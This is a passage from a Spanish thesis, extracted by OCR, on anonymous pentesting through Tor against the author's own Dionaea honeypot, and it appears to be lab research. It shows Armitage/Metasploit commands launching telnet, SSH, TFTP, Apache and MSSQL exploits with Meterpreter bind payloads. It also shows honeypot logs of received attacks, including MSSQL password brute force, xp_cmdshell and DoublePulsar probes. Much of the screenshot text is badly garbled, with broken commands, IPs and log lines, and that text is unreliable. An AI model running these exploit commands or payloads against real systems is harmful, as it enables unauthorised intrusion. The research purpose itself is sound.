¥ (@ telnet
B gamsoft telsrv usarname
_ | goodtech_telnet

> [ tftp

» [ unicenter

> [ vne
- I-\.'.. -

11'|w1n|1nw ,-’tt Lru‘1'.-|:|am~n1t -h~|~_.r-.r username) = set RPORT 23
msT6 HJ:|111.-LT{mrlr.luwaf'le1|wt,.-f|:jﬂ|||5|.lI‘t_tt‘-lﬁ-r'.r_uwllldllle} = exploit -j
[*] Exploit running as backqround job 5.
[*] Expleit 1-:|mp1:=lr-rl Imf no ww.inn was created.
I 0 Pro SPO/4 English H—HHII— on host
«+« Waitding
exploit (inc

37,11,
37.11.§

37.11.
Connected tl elnet servi
Sending 20 byte userr

I

|

] k
«] 388 byte payload)...
] 37.11. Exploit sent...

]

|

]

15

luding

Started bind IH1 handler against 37.11 8554
Sending stage (175174 bytes) to 37.11
*] 37.11.} - Meterpreter session 3

*] Meterpreter session 3 opened (0.0.0

msf6 exploit(windows/telnet/gamsoft te

sed., Reason: Died
10 == 127.0.0.1) at
Lsrv_username) = |

[
[
|
[
[
ln
[*
[
|

2021-05-21 06:51:58 +0000

Figura 56: Lanzar exploit y Meterpreter, Armitage

Como nuestra maquina victima era un Honeypot y no es vulnerable sino que
simula serlo, no nos molestamos en preparar nuestra sesion de escucha remota
(payload), pero aun asi, nos comunicara que funcioné y qué la sesion de Meterpreter
esta abierta. Sin embargo, enseguida nos la cerrara. Esto se debe a que no es una

maquina vulnerable a esos exploit.
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[Cnnscle ¥l scan X | Services X . exploit X ]

erpreter session 1 ¢ d. Re ]
on 1 opened 0.0.0:0 -> 37.11. £1832) at 2021-05-21 00:48:39 +0000

551) at 2021-05-21 00:50:58 +0000

ssion 3 open = 127.0.0,1) at 2021-05-21 00:51:58 +0000
Meterpreter ses . ed. Reasq Loed
38 +0000

Figura 57: Sesiones Meterpreter

Para disponer de mas evidencias, se lanzaron mas intentos de acceso:

En la siguiente captura vemos el ataque lanzado “sysax _ssh_username”
sobre el servicio ssh. Para ejecutarlo, debemos arrastrar el exploit desde la parte
izquierda hacia la maquina victima de la derecha, se nos abrira la configuracion del
exploit y la configuraran sus parametros y payload. En LHOST, habria que configurar
la IP del sistema que tenga en escucha la Shell inversa, ya sea creada con

Meterpreter o con nc (netcat).

e -
|

Armitage \iew Hosts Attacks Workspaces Help

LT URLGE U TTTTE I TVITTTET T T
webexac
» [l smtp M-
¥ (& ssh
_| freeftpd_key_exchange Attack 3711
freesshd_authbypass
freesshd_key exchange
| putty_msg_debug This module exploits a vulnerability found in Sysax's SSH service. By supphying a leng ey
sacuracrt sshil username, the 55H server will copy that data on the stack without proper bounds -

checking, therefore allowina remeote code execution under the context of the user. X
B sysax ssh_username e

Sysaw 5,53 S5H Username Buffer Overflow

* [ ssl Option a|value
=S | HosT 192.168.2.17
LPORT

= RHOSTS +
RPORT

|J Cansale x] Scan X | Services X iexplu

msf6 exploit(windows/telnet/goodtech . S — .
TARGET => 0 Targets: [0 => Sysax 5.53 on Win XP SP3 J win2k3 SP0 ']

f6 exploit(windows/telnet/goodtech

05 h8.2. 17 —
msf6 exploit(windows/telnet/goodtech NI TERIELRBRLLE k
LPORT == 1832
msth e t (windows /telnet/goodtech Launch
PAYLOAD = ows,/meterpreter/bhind_ -
msf6 explo dindows /telnet/goodtech_telnet) = set RPORT 2380
RPORT ==

Use a reverse connection

msf6 exploit(windows/telnet/goodtech_telnet) = exploit -j
[*] Exploit rumning as background job 3.
[*] Exploit completed, but no session was created.

Figura 58: Pantalla pre-exploit de Armitage
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Otro exploit lanzado al servicio TELNET es “gamsoft_telsrv_username”. En la
siguiente figura también vemos que es capaz de abrir una sesion pero que

inmediatamente se cierra por la misma razén que en el antrior ataque.

Armitage “iew Hosts Attacks Workspaces Help
LTI I\L\J_I.p' le_llllll.\\_ll wr UIIU_UUI
wabexac

* [ smtp
» [ ssh
*Eﬁsﬁ
v [ telnet
_l goodtech_telnet
> | tfitp
» [ unicenter
» [ vne 1;

I E-:pl.urc runnlnq as buuhqrnund 1.
] F1:|11u1t mmphlrrl, t no sessio
1 23 - Trying target W
Connected to telnet se «oo Waiting !
Sending 20000 In.l te username as exploit :imhullnn 88 byte payload)...
. Exploit sent.
thlt*d bind IH1 handler auainst 37.1 1 18554
Ht_l][lll'lq stage (175174 bytes) to =
eterpreter sessio . Reason: Died
sion 3 opened (0.0.0.0:0 -> 127.0,0.1) at 2021-05-21 00:51:58 +0000
i L.!||]_1|11'|Wln telnet/gamsoft telsrv username) = |

Figura 59: Exploit telnet de Armitage

El siguiente ejemplo, es un ataque sobre el servicio TFTP, como es usando
protocolo UDP y Tor no es capaz de enrutarlo, no se realizé correctamente en las
pruebas de conexidon 3G, pero si en Ethernet. Esto es asi porque el ataque lo mandé
por la red interna del router a la red interna del Router doméstico, esa prueba no
seria valida, ya que en un entorno real, nunca llegaria a la victima usando el

protocolo UDP.
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Armitage View Hosts Attacks Workspaces Help
v [ tftp
| attitp_long_filename
distinct_tftp_traversal
_ dlink_long_filenamea

futuresoft_transfermode
| netdecision_tftp traversal
B cpentftp_error_code
quick_tftp_pro_mode
_ | titpd32_long_filename
titpdwin_long_filename
titpserver wrq bof

msf6 exploit(windows/tftp/opentftp_error_code) = set LPORT 28830
LPORT == 28830
msT6 exploit(windows/tftp fopentftp error code) = set PAYLOAD windows/meterpreter/bind tcp
PAYLOAD == windows /meterpreter/bind_tcp
msf6 exploit(windows/tftp/opentftp_error_code) > set RPOHT 69
RPORT == 09 [‘;
msf6 exploit(windows/tftp/fopentftp_error_code) = exploit -j :
[*] Expleit running as background job 6.
[*] Exploit completed, but no session was
[*] started bind TCP handler against 37.11
[*] Sending stage (175174 bytes) to 37.11.
Errno: :ENOMEM Cannot allocate memo ry -
msf6 exploit(windows/tftp/opentftp error code) :

Figura 60: Exploit tftp de Armitage

El siguiente es un ejemplo de exploit “apache_chunked’ contra el servicio web
de Apache que nos generd una Shell inversa
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amlibweb_webgquerydll_app
_ | apacha_activemg_traversal_upload
B apache chunked
_| apache_mod_rewrite_ldap

apache_modjk_overflow
apache_tika_jp2_jscript

_ | avaya_ccr_imageupload_sxec
badblue_ext_overflow
badblue passthru

| F"l_IFtT
PAYLOAD windows /meterpreter/bind_tcp

SSL == false

[*] Exploit running as background job 8.

[*] Exploit completed, but no session was created.

[*] Server: nginx

[*] Auto-targeting returned © candidates. _

[*] Started bind TCP handler jLIdlII‘\T 37. 11- 19621

[*] Hrndlu )

[*] - Hl-'ll-'l|er1!"r sessio

[*] Mete ; ssion 4 opened (0.0.0.0:0 -> 37.11 0621) at 2021-85-21 01:02:40 +0000
msf6 exploit{windows/http/apache chunked) = -

Figura 61: Exploit Apache de Armitage

Otro ataque al servicio de base de datos.

mssg
| lyris_listmanager_weak)

®l

msQ2 039 slammer
rnbOFr_CIC-ﬂ_5p_'eplwrlte-u\
ms09_004 _sp raphwrite | ]
| mssgl_clr_payload I
mssql_linkcrawler
_| mssgl_payload
mssgl_payload_sqli v

Console ¥ | exploit )(]
msto exploltTiwindows, /mssqL/msU2 056 hello)
LPORT == 3782
msfe exploit(windows /mssql/ms02_056_hello) = set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind tcp
msf6 exploit(windows/mssql/ms02_056 _hello) = set RPORT 1433
RPORT == 1433
msT6 exploit{windows /mssql/ms02 056 hello) = exploit -j

Exploit running as background job 1
Exploit completed. but no session was created.
Started bind TCP handler against 37.11 § 3782

Sending _stage (175174 bytes) to 37.11
’j?.ll.ﬁ- Meterpreter session 1 cl Reason: Died

*] Meterpr sion 1 opened (0.0.0.0:0 -=> 127.0.0.1) at 2021-05-21 01:48:23 +0000

Figura 62: Exploit MSSQL de Armitage
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Por ultimo, en la siguiente captura, podemos ver la cantidad de sesiones de

Meterpreter abiertas con éxito e inmediatamente cerradas por nuestro Honeypot.

closed. Reasgn: [jed
= = . ll'ﬁmﬂﬁ at 2021-05-21 00:48:39 +0000
2 . Reason: Died

== 37.11.} : 256551) at 2021-05-21 00:50:58 +0000
Reaso Ned

session 3 ope (0.0.0,0:
& - Meterpreter session 4 closed.
Meterpreter session 4 opened (0.0.0.0:0 -=

Figura 63: Sesiones Meterpreter de Armitage

5.4 Evidencias Honeypot.

Como ya hemos comentado a lo largo de este trabajo, uno de los objetivos es
recoger los ataques dirigidos por la maquina pentester en busca de evidencias de
pérdida de anonimato. Para ello, vamos a usar un Honeypot llamado Dionaea, un
recopilador de trafico llamado NTopng y en algun caso la herramienta Wireshark. Ver

instalacion en anexo D.
Una vez instalados, ejecutamos Dionaea con el siguiente comando:

$sudo /opt/dionaea/bin/dionaea

pi r‘.‘;-a;'ffl';a'=r'|';-;';:1 - ~ sudo fopt/dionaea/bin/dionaea

Dionaea Version ©.11.0-7-g4e459f1
Compiled on Linux/ARM at May 9 2021 16:05:48 with gcc 8.3.0
Started on raspberrypi running Linux/armv7l release 5.160.17-v71l+

Figura 64: Ejecucion Dionaea

Para comprobar que el servicio esta funcionando correctamente, podemos
ejecutar el comando “$sudo netstat -utap” y nos mostrara todos los servicios en
escucha de la Raspberry. Vemos que tenemos los esperados, DNS, FTP, SMB,
TELNET, MYSQL, MSSQL, etc.
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pif@raspberrypi - — netstat =-utap

(Mot all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State
tcp a 8 localhost:ftp 8.0.6.0:* LISTEN
tcp L] @ localhost:domain 8.8.6.6:" LISTEN
tep 8 @ raspberrypi.home:ftp 8.8.8.08:* LISTEN
tep a 8 raspberrypi. home:domain b.o.g.0:* LISTEN
tcp 0] @ localhost:telnet 8.6.6.0:" LISTEN
tep 8 @ raspberrypi.home:telnet @.8.8.0:% LISTEN
tep a 8 localhost:ipp 8.0.6.6:"* LISTEN
tcp 8 G 6.0.0.8:30008 8.6.6.6:* LISTEN
tep 8 @ localhost:ms-sgl-s 8.8.8.8:* LISTEN
tcp a @ raspberrypi.ho:ms-zgl-s 8.8.8.0:* LISTEN
tcp 0] @ localhost:1723 8.8.6.6:" LISTEN
tep 8 @ localhost:1883 8.8.8.8:* LISTEN
tep a @ raspberrypi.home:1723 8.8.6.0:* LISTEN
tcp 0] @ raspberrypi.home:l1B83 8.8.6.6:" LISTEN
tep 8 @ localhost:microsoft-ds @&.8.8.08:% LISTEN
tep e @ raspberryp:microsoft-ds 0.8.08.0:* LISTEN
tcp 2] @ localhost:56681 8.8.6.6:" LISTEN
tep 8 @ localhost:sip 8.8.8.8:* LISTEN
tep e 8 raspberrypi.home:sip 8.0.6.8:"* LISTEN
tcp 0] @ localhost:sip-tls 8.6.6.6:" LISTEN
tep 8 @ raspberrypi.hom:sip-tls @.8.8.08:% LISTEN
tep e 8 localhost:epmap 8.0.0.0:* LISTEN
tcp 0] G raspberrypi.home:.epmap ©.0.6.08:* LISTEN
tep 8 @ localhost:27@817 8.8.8.08:* LISTEN
tcp a @ raspberrypi.home:27017 ©.8.8.0:* LISTEN
tcp 0] @ localhost:mysqgl 8.8.6.6:" LISTEN
tep 8 @ localhost:nameserver 8.8.8.08:* LISTEN
tep e 8 raspberrypi.home:mysgql ©.8.8.0:°* LISTEN
tcp 0] G raspberrypi.:nameserver @.0.6.8:" LISTEN
tcp 8 @ localhost:11311 8.8.8.08:* LISTEN
tcp a 8 raspberrypi.home:11211 ©.8.8.0:°* LISTEN
tcp 0] @ localhost:6379 8.8.6.6:" LISTEN
tcp 8 @ localhost:9168 8.8.8.8:* LISTEN
tcp a 8 raspberrypi.home:9108 0.8.6.0:* LISTEN

Figura 65: Netstat puertos en escucha

Una vez terminada la bateria de pruebas con el dispositivo Kali y habiendo
recibido innumerables ataques y escaneos por parte de este y de otras maquinas de
Internet, podemos recoger nuestras evidencias almacenadas por Dionaea. En la
carpeta /opt/dionaeal/var/lib/dionaea/binaries podemos encontrar los binarios
ejecutados intentando obtener una Shell. En la siguiente figura aparecen los que

consiguio recopilar.
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DN “ I | foptidionazasvar/lib/dionasa/binaries
#  Carpeta personal Mombre amano  Modificado
2% Raiz del sistema de archivos | 1d3df510bc3216da02c2372e00e9142 5OMIB 20/05/21 1612
B =] | 02c5f1515bf42798728fac] Thielede] k 695 KB 19/05/21 1551
- ot || Betbfealtch005532e29038220349bd6 S0MIB 20/05/21 20110
» BBl dioeaea L TOccd9220cebb56eaa38bobd1a1cd8 805 KiB 19/05/2111:20
5 liky | 73f40330097110a2fe931db6324a359a9 3. 0MEB 20/05/21 1119
- share | 98abe?6199f28abde?b42eB5f97 5 0%ed S0MIEB 19/05/21 1748
— doc L $1453594eda822cfhY7 2432621 851620 50MIB 18/05/21 2305
dionaea | 685bc2af41 0d86a742b50b96d1 16a7dD 69,5 KIB 19/05/21 16:46
- var || 996c2b2ca301 B0120c69352232351 5e4 S0MIEB 20/05/21 10:1
. lib L @e12bbb4al31 22701 Telfd9598a615e 50MIB 30/05/21 10:57
- dionaea | aflc055eel83e51 6803474600301 bOTF 50MIB 20/05/21 1157
_ || b3812008522d080fcbdec] adc499di2b 69,0 KiB 03/06/21 15:45
b HEheames L= d41dBed8BM0b204e9800998eci842 e Obytes 30/08/21 1609
fail?ban C | d7 1fc96dedfac37afe4750945b4a3dde 50MEB 12/06/21 16:43
- flp || dbfféfcc3507 2e53950fdER005c T3 S0MIB 19/05/21 1832
st J ddeba 731 MofcbscTacies02belec e 5,0MiB 18/05/21 1056
- hittp o fc4bb3140f35ccBabd681bE30962ThE1 5,0 KIEB 20/05/21 12:53
roat || http-Qiaibr2g tmp 1535 bytes 09/05/21 1724
- template L= htp-Subhtfyv.tmp Obytes 30/05/271 1449
example | hitp-f3fagery.mp 155 bytes 29/05/21 18:19
nginx || http-uGwnvOr03. tmp 314 bytes 30/05/21 1449
= P nrintar

Figura 66: Dionaea, binarios recogidos

En la carpeta bistreams, clasificara, primero por carpetas, luego por servicios,
los ataques recibidos a los mismos. En la siguiente figura vemos los servicios de
HTTP, SMB, MSSQL, etc.
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] i | 3 z &| & I |Jopt/dionasafvar/lib/dionasa/bistreams/2021-05-09
Carpeta personal Mombre

L httpd-192.168.1.120-80-113.125 84 227-42288-2021-05-09T1 5:24:09.624700-uJSwFX
= httpd-192.168.1.120-80-113.125.84 227-42426-2021-05-09T15:24:09.955850-0sRjF7

Raiz del sistema de archivos

. hl? || htpd-192 1681 120-80-113125 84 227-42450-2021-05-09T15:24:09 564052-bAvda0
. Ei;iﬂn . | hilpd-192.168.1.120-80-113.725 84 227-42494-2021-05-09T15:24:09. 2431 57-KFSkyb
, lib | hitpd-192.168.1.120-80-123.163.114.140-60210-2021-05-09T1 5:24:09.194050-p7 20rZ
. hare | httpd-192.168.1.120-80-123 245 24 70-60252-2021-05-09T1 5:24:09. 32457 6-6Uur2n
- ’ doc L hitpd-192.168.1.120-80-180.95 238.89-60184-2021-05-09T1 5:24:09.937 039-CTAULE
dionaea | httpd-192.168.1.120-80-221.213.75.217-60204-2021-05-09T15:24:09.1 BB455-i0nJsk
. | httpd-192.168.1.120-80-223.166 74.167-60224-2021-05-09T15:24:09.109299-DIGYEM
- .dlrlb | /mongod-192.168.1.120-27017-65.49.20.69-33350-2021-05-09T1 5:38:09. 384 T04-v8TZwS

| mqted-192.168.1.120-1883-64.62.197.2-40752-2021-05-03T1 5:01.09.689934-4Wgehk
| mssqld-192.168.1.120-1433-1,119.194 253-61662-2021-05-09T14:26:09. 761 032-IBPENg
L masqld-192.768.1.120-1433-1.718.194 2553-61682-2021-05-09T1426:09. 21 0646-B0n4e)

= dicnaza
hinaries

= || bistreams

m | mssqld-192.168.1.120-1433-12.171.43.243-23536-2021-05-09T1 5:37:09.032633-kbAObg

mssqld-192.168.1.120-1433-12 111 43 243-46605-2021-05-04T1 53709 641 093-3Fe7m
2021-05-16 -

A 0618 L mssgld-192.168.1.120-1433-116.1717.157.241-65399-2027-05-09T1 47 7:.09.275426-ACISiu

5-18
0930618 | mssgld-192.168.1.120-1433-216.249.100.174-4372-2021-05-09T1 £:31:09.1 2542 3-3k Y NdV
' || mssqld-192 168.1.120-1433-216.249.100.174-4377-2021-05-09T1 £:31:09. 766946-TAOAIT

2027-05-20
L mysgld-192.168.1.120-3306-34.77.162.25-53928-2021-05-09T1 5:46:09. 831617-Ckm Wiy

| smbd-192.168.1.120-445-52 54 32 209-45954-2021-05-09T16:04:09. 7478035-BHX06b
|| smbd-192 168.1.120-445-52 54 32 200-45988-2021-05-09T16:04:09 8454 86-8gnwih

2021-05-29
2021-05-30

Figura 67: Dionaea, ataques recogidos

También registra en los logs las consultas y ataques realizados a cada
servicio, SQL, HTTP, etc. En la siguiente captura podemos realizar una busqueda
por servicio. Como el archivo es grande, es mas rapido consultarlo buscando el

patrén con el comando “cat fichero.log | grep tipo_de_servicio™.

L¥Termina

Archivo  Editar  Pestafias  Ayuda
pi@Honeypot - ~ cat /opt/dionaea/var/log/dionaea/dionaea.log | grep smbl

Figura 68: Dionaea, busqueda de servicios

[18652021 10:53:44] SMB /dionaea/smb/smb.py:615-info: Possible DoublePulsar connection attempts..

[18652821 10:53:44] SMB /dionaea/smb/smb.py:627-info: DoublePulsar request opcode: c8 command: exec

[18652621 10:53:44] SMB /dionaea/smb/smb.py:124-debug: packet: NBTSession / SMB_Header / SMB_Trans2 Request
[18052021 10:53:44] SMB /dionaea/smb/smb.py:141-debug: response: NBTSession / SMB_Header / SMB_Trans2_Response
[18052021 10:53:44] scapy /dionaea/smb/include/packet.py:627-debug: ###[ NBT Session Packet sizeof(4) ]###

[18052821 10:53:44] scapy /dionaea/smb/include/packet.py:658-debug: TYPE = Session Message sizeof( 1) off= @ goff= 0

[18652021 10:53:44] scapy /dionaea/smb/include/packet.py:650-debug: RESERVED =0 sizeof( 1) off= 1 goff= 1

[18052821 10:53:44] scapy /dionaea/smb/include/packet.py:65@-debug: LENGTH =0 sizeof( 2) off= 2 goff= 2

[18@52021 10:53:44] scapy /dionaea/smb/include/packet.py:627-debug: ###[ SMB Header sizeof(32) J###

[18652021 10:53:44] scapy /dionaea/smb/include/packet.py:650-debug: Start = b'\xffsSMB' sizeof( 4) off= @ goff= 4
[18052821 10:53:44] scapy /dionaea/smb/include/packet.py:658-debug: Command = SMB_COM_TRANSACTIONZ sizeof( 1) off= 4 goff= 8
[18@52021 10:53:44] scapy /dionaea/smb/include/packet.py:650-debug: Status = 3221225474 sizeof( 4) off= & goff= 9
[18052021 10:53:44] scapy /dionaea/smb/include/packet.py:650-debug: Flags = CASES_ENSITIVITY+CANONICAL_PATHNAMES+REQUEST_RESPON
SE sizeof( 1) off= 9 goff= 13

[18052821 10:53:44] scapy /dionaea/smb/include/packet.py:650-debug: Flags2 = KNOWS_LONG_NAMES+KNOWS_EAS+SECURITY_SIGNATURE+ERR_S
TATUS+UNICODE sizeof( 2) off= 10 goff= 14

18052021 10:53:441 scapv /dionaea/smb/include/packet.pv:650-debua: PIDHigh =N sizeof( 2) off= 12 goff= 16

Figura 69: Dionaea, binarios recogidos
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En las siguientes figuras podemos ver varios ataques recibidos al servicio
MSSQL, enumeracién de usuarios y varios test buscando vulnerabilidades de varios
tipos.

MSSQL /dionaea/mssqgl/mssqgl.py:194-debug: SQL BATCH : b"exec sp_password Null, 'Sygbn8,m ~!@
~1@ ~#%M&*(),.; ','usera' exec sp_password Null, 'Sygbn8, m ~!'@ ~#%"&*(),.; ','ps' exec sp_pa
p_password Null, 'Sygbn8, m’ ~!@ ~#%"&*(),.; ', 'sql' exec sp_password Null, 'Syqbn8,m ~!@ ~#%"&
&*(),.; ', 'wwo' exec sp_password Null, 'Syqbn8, m ~!@ ~#%"&*(),.; ', 'wq' exec sp_password Nul
L, 'Sygbn8&, m ~!@ ~#%7&*(),.; ', 'gaibian' exec sp_password Null, 'Sygbng& m ~!@ ~#%r&*(),.; ','
'win7' exec sp_password Null, 'Sygbn8,m ~!1@ ~#%M&*(),.; ','vice' exec sp_password Null, 'Sygb
ng, m ~!'@ ~#%"&*(),.; ','ss' exec sp_password Null, 'Sygbn8, m ~!@ ~#%"&*(),.; ', 'se' exec sp
password Null, 'Sygbn8,m ~!@ ~#%&*(),.; ','syn' exec sp_

SRR B R TSR RS S W SRS DN Ol S R P TR TS A R R T S R SR [N

Figura 70: Dionaea, fuerza bruta contra mssq|

:SéE-debug: incident 0x1c68928 dionaea.modules.python.mssqgl.cmd
SQL BATCH : b"exec xp_cmdshell "whoami /priv'"
:365-debug: incident @x1c9c3f8 dionaea.modules.python.mssql.cmd

Ly ]

[l ==

Figura 71: Dionaea, varios tipos de ataques

dionaea/mssql/mssql.py:194-debug: SQL BATCH : b"EXEC sp_droplogin 'users' EXEC sp_droplogin 'sc
gl' EXEC sp_droplogin 'kisadminnewl' EXEC sp_droplogin 'wgq' EXEC sp_droplogin 'kisadminnewl' EX
C sp_droplogin 'so' EXEC sp_droplogin 'se' EXEC sp_droplogin 'ss' EXEC sp_droplogin 'sasa' EXEC
p_droplogin 'syn' EXEC sp_droplogin 'Rolename' EXEC sp_droplogin 'gd' EXEC sp_droplogin 'chicac

Figura 72: Dionaea, otro tipo de ataque por fuerza bruta

Como vemos, Dionaea nos proporciona muchos datos acerca de los ataques
recibidos y puede ser una gran fuente de informacion como linea de investigacion

futura buscando mas informacién de la capa de aplicacién.

Por otra parte, para acceder a NTopng, hay que acceder al enlace a
http://localhost:3000 desde el navegador. Lo primero mostrado sera el “dashboard”
inicial. En la parte superior encontraremos los menus de configuracién y el recuadro
“search” donde podremos buscar por IP. También encontramos el apartado Alertas

donde nos avisara de las mismas.
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Figura 73: Dashboard NTopng
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Aunque esta herramienta tiene bastantes opciones (Ver Anexo D), la que nos

interesa es la del menu Flows (flujos). Mediante esta opcidén podemos ver todo el

trafico que esta pasando en tiempo real y asi detectar los escaneos y ataques

realizados por NMap, Nikto, Rapiscan y Armitage. Comencemos viendo los

escaneos recibidos por la herramienta NMap.

Los escaneos realizados en el punto anterior de Pentesting (escaneo de

puertos) no reflejaron ninguna pérdida de anonimato. Podemos ver el de MYSQL,

MSSQL y SMB en las siguientes figuras.

Application

Ges
G+S
MySQLIC)
fySQLO
ySQLG
/SQLOY

L4 Proto Client

Figura 74

Server

satebrowsing.goooleapis. .. hilps

I
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Duration

02-:40-02

02:40:01

0553

02:40:04

03:07

: Escaneo Nmap MYSQL. NTopng.

Breakdown

B Se
——— =S
——
—— e
EE— e
[—
——

Actual Thpt
0 bit/s =

0 bitls =

0 bit's ¥

0 bitls =

0 bitls =

0 bivs

0 bitfs

0 bit's

0 bit's

0 bivs

Total Bytes
259 MB
14.12 KB
14.62 KB
10.83 KB
5.41 KB
294 Byles
889 Byles
889 Byles
884 Byles

269 Byles
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Figura 75: Escaneo Nmap SQL. NTopng.
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Figura 76: Escaneo Nmap smb. NTopng.
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También podemos ver las estadisticas de la cantidad de trafico recibido al

puerto 445 SMB sin embargo, no hubo pérdida de anonimato.

Dashboard:

Talkers

Top Application Protocols

14.5% -
Cither

Figura 77: Estadisticas por protocolo SMB. NTopng.
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Al lanzar el escaneo con Nikto, vemos que la IP reflejada en todo momento
es la proporcionada por Tor. A la derecha, en Info, podemos ver que esta ejecutando
parametros en el navegador para detectar vulnerabilidades web como la encontrada
XSS.

i # - & ~ A~ Flows Hosts » Interfaces - & - - Q
| PPV
Active Flows
200 - Hosls~ Status- Direction=  Applications ~  Calegornies - P Wersion=
Total
Application L4 Proto  Client Server Duration Breakdown  Actual Thpt Bytes Info
SSDPO) uop 192.168.1.1:54587 2309.255.255.250:1900 01:15:00 | 0 bitfs = l22MB
MsSQL-TDS & Tcp raspberrypi:ms-sgl-s 02:33 E Obifs= 12982 KB
HTTP TCP [oli- T Clie Sorver | ObiUs= 105.08KE 37,105 Eh03KeDdvne. .
HTTPEY TCP oo:1e SENENNEE  9.03kbivs  TLA3KB 3T E_ ,d Q3KeDdv.csp...
+
Figura 78: Escaneo http Nikto, NTopng.
También aparece el escaneo lanzado al servicio HTTPS.
Active Flows
200 - Hosls= Stalus- Direction= Applications - Calegories -
Application L4 Proto  Client Server Duration Breakdown Actual Thpt Total Bytes  Info
SSDR ) LUDP 192.168.1.1:54587 239.255.255.250:1900 01:44:58 13.55 khit/s 4 1.7 MB
IGMP IGMP  192.158.1.1 224.0.0.1 01:44:41 0 bit/s = 9.26 KB
IGMP ¢ IGMP raspberrypi 224,0.0.251 01:43:56 | 0 bitfs = 7.05 KB
ssL@ TCP Fhttps 00:01 0 bit/s = 497 KB 3
SsL@ TCP Ihitps [ A RRCIer Server | 0 bit/s = 497KB 3
SSL& TCP Ihillps <1 sec _m 0 bitls = 40T KE 3
ssL@ TCP Fihttps (VI B Cer Server | 0 bit/s = 497KB 3
SsL@ TCP 3hitps [ A RCIler Server | 0 bit/s = 497KB 3
SSL& TCP 3:hitps 00:01 Cliet Server | 0 bitfs = A407TKE 3
ssL@ TCP Fhttps <1sec 0 bis = A49TKB 3

Figura 79: Escaneo https con Nikto, NTopng.

Hasta ahora todo esta anonimizado. Vamos a ver qué sucede con el escaneo
de Rapidscan, ya que esta herramienta utiliza a su vez otras herramientas y

podemos perder un poco mas el control de los escaneos usados.
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Active Flows

200 - Hosls- Slalus- Direction= Applications - Calegaries - 2] n-
Total
Application L4 Prato  Client Server Duration Breakdown  Actual Thpt Bytes Info
PO UDP 192.168.1.1 09:33:26 0 bit/'s = 9.28 MB
HTTP Y TCP 0018 - Server | Obit's=  B3.85KB8 3.*.1:““ Vprotectedpag...
s
IGMP () IGMP 09:32:44 Dhivs=  50.39KB [I'#‘"h
]
1O
HTTP ¢ TCP 00:18 4116 khit's ~ 90.0KB 37.1" y Jwebcalendary...
N 1
v gl
RO
IGMP Y IGM 09:32:36 Dhitts= 3863 KA |!k \
Ly |
HTTP( TCP 00:01 Ohitls=  B24KB 3?.1“.',',‘ dnubrique. asp.
ces TCP conten 06:20 2.94 kbit/s 4 9.26 KB content-autofill.googlea...

autofill.goc hitps

Figura 80: Escaneo Rapidscan. ntopng.

Tampoco se ven reflejados indicios de pérdida de anonimato. Vamos ahora

con la parte de escaneo con Armitage.

Al utilizar la herramienta de escaneo de Armitage, vemos que realizd un

escaneo de puertos TCP.

Console X | Scan X

L*] Launching ICP scan
msf6 > u xiliary/scanner/portscan/tcp

msf6 auxiliary(s r/portscan/tcp) > set RHOSTS 37.1
RHOSTS 37. 1]@

msf6 auxiliary(d
THREADS => 24
msf6 auxiliary er ca cp) > set PORTS » 21, 1720, 443 . 623, 3 , 110, 5432, ’ 23, » 50013, 161,

r/portscan/tcp) > set THREADS 24

17185, 135, 8e8e, 48, . . 512, 513, 514, 5, 5900, 5901, 3 :
7787, 2947, 7144, » 8812, » 2207, 3050, 5405, 1723, 99 001, 90, 548, 617, 6112,
1, 1000 04, 415 L , 2 ., 10202, 6503, 6070, 6502, f ’ ,» 555
0 0, 1000, 8014, 5250, 34443, 8028, 8008, 7510, 0495, , B » 18881, 57772, 9090, » 3000, 83 00, 8098
093, 1533, 13500, 705, 4659, 20031, 16102, 80, 6660, 11000, 19810, 3057, 5, 1100, 10616, 10628, 5051, 82, 65535, 105, 2
30000, 113, 1755, 407, 1434, 2049, 689, 3128, 20222, 34, 7580, 7579, 38080, 12401, 910, 912, 11234, 46823, 5061, 5060, 2380, 69, 5800,
msf6 auxiliary(scanner/portscan/tcp) >

Figura 81: Escaneo de puertos Armitage

Como vemos en la siguiente figura, en este caso tampoco hubo pérdida de

anonimato.
Application L4 Proto Client SEerver Duration Ereakdown
P UDP 192.1 1.1:4401: ¥ 255.255.250:1 05:55:39
[ CMP 1921 1.1 224 1 05
MP CMP H L 224 251 05:55:18
G+ eSen ( TCF H t 05:49
L TCF 00:33 _Server
L UDF 5,250:130 00:03
y T | 3440 Honeypat: <1 | Sesver
2 < 1sec Serer
2 TCF <1 58c ‘Server
7 20 1 sec - Server

Figura 82: Escaneo con Armitage
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El resto de exploits lanzados como al servicio Apache HTTP, o los de SQL o

MYSQL, tampoco rompieron el anonimato.

Application L4 Proto Client Server Duration Breakdown Actual Thpt Total Bytes  Info
SDP ¢ upP 192.168.1.1:44012 239.255.255.250: 19! 0z:18:02 0 bivs d 2.24 MB
1GAMP 192 168.1 1 224001 02:18:01 0 bit's = 1219 KB
MP ¢ IGMP Honeypot 224.0.0251 02:18:01 73.6 bivs 4 9.34 KB
upP NINDOWS9.8172¢ 2392 25019 LN ET 0 bitfs ¥ 21KB
T
e A ) . o 1 DI ==
TTP cP on:0L 0 bit's = 1aike a7l banch-8s10%2 .
o - T
T cP <1sec 0 bit/s = 105KB 37188 ',fdl.‘l
B - A
TTRC cP <1sec 0 bitis = 1.05KB | 37.10 0
upP 00:03 0 bit's = 836 Byles
? T on:01 0 bit's = 366 Byles

Figura 83: Armitage ataque HTTP

Sin embargo, una de las pruebas de lanzar un exploit TFTP con Armitage, al
usar éste el protocolo UDP, si que envidé nuestra direccién sin enmascarar a través
de la red Interna 192.168.2.0/24 a la 192.168.1.0/24. En la siguiente captura vemos
la ip 192.168.2.17 como origen. Como las pruebas se realizaron mediante la red
interna doméstica conectada a Internet, si que fue capaz de llegar al destino.
Posteriormente se realizé el mismo test de intrusién usando el Modem 3G con el
exploit de TFTP pero no se logro, ya que Tor no enruta a través de UDP con lo que,

de nuevo, el dispositivo Kali seguia siendo anonimo.

Application L4 Proto Client Server Duration Breakdown
SDP L uopP 239 265.255.250: 19( 06:13:40
MP L IGMP 192.168.1.1 224 1 06:14:03
MP L IGMP Honeypol 224.0.0.251 08:13:19
(5+ S55L.GoogleSenvices ¢ TCP Honeypol:37792 content=autolill.googlea.... hitg 02:17
2 Unknawn upP 152.168.2.17:17975 Honeypol:16175 <1 sec
7 Unknown uDP 192 168.2.17:17012 Honeypol: 2263 <1 sec
